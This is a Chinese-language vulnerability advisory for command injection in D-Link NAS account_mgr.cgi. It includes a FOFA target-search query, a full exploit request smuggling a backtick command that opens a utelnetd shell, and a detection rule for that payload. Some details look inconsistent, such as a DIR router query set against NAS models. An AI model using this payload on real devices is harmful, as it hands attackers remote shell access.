D-Link_account_mgr.cgi命令执行漏洞¶

D-Link_account_mgr.cgi命令执行漏洞，攻击者可执行任意命令导致服务器被控。

影响版本¶

DNS-120、DNR-202L、DNS-315L、DNS-320、DNS-320L、DNS-320LW、DNS-321、DNR-322L、DNS-323、DNS-325、DNS-326、DNS-327L、DNR-326、DNS-340L、DNS-343、DNS-345、DNS-726-4、DNS-1100-4、DNS-1200-05、DNS-1550-04 晚于20260205

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA："D-Link-DIR"

POC/EXP：

POST /cgi-bin/account_mgr.cgi HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://192.168.0.16
Connection: keep-alive
Referer: http://192.168.0.16/web/backup_mgr/local_main.html
Cookie: username=admin
Priority: u=0

cmd=cgi_create_import_users&app='`utelnetd -p 8937 -l /bin/sh`'&overwrite=

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"D-Link - Command Execution via account_mgr.cgi";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/account_mgr.cgi";
    http.header; content:"Content-Type: application/x-www-form-urlencoded";
    http.request_body; pcre:"/app='`utelnetd\\s+-p\\s+[0-9]{4,5}\\s+-l\\s+\\/bin\\/sh`'/i";
    metadata:
        service http,
        affected_product "D-Link路由器",
        vulnerability_type "Command Execution",
        severity "critical";
    classtype:web-application-attack;
    sid:1000654;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。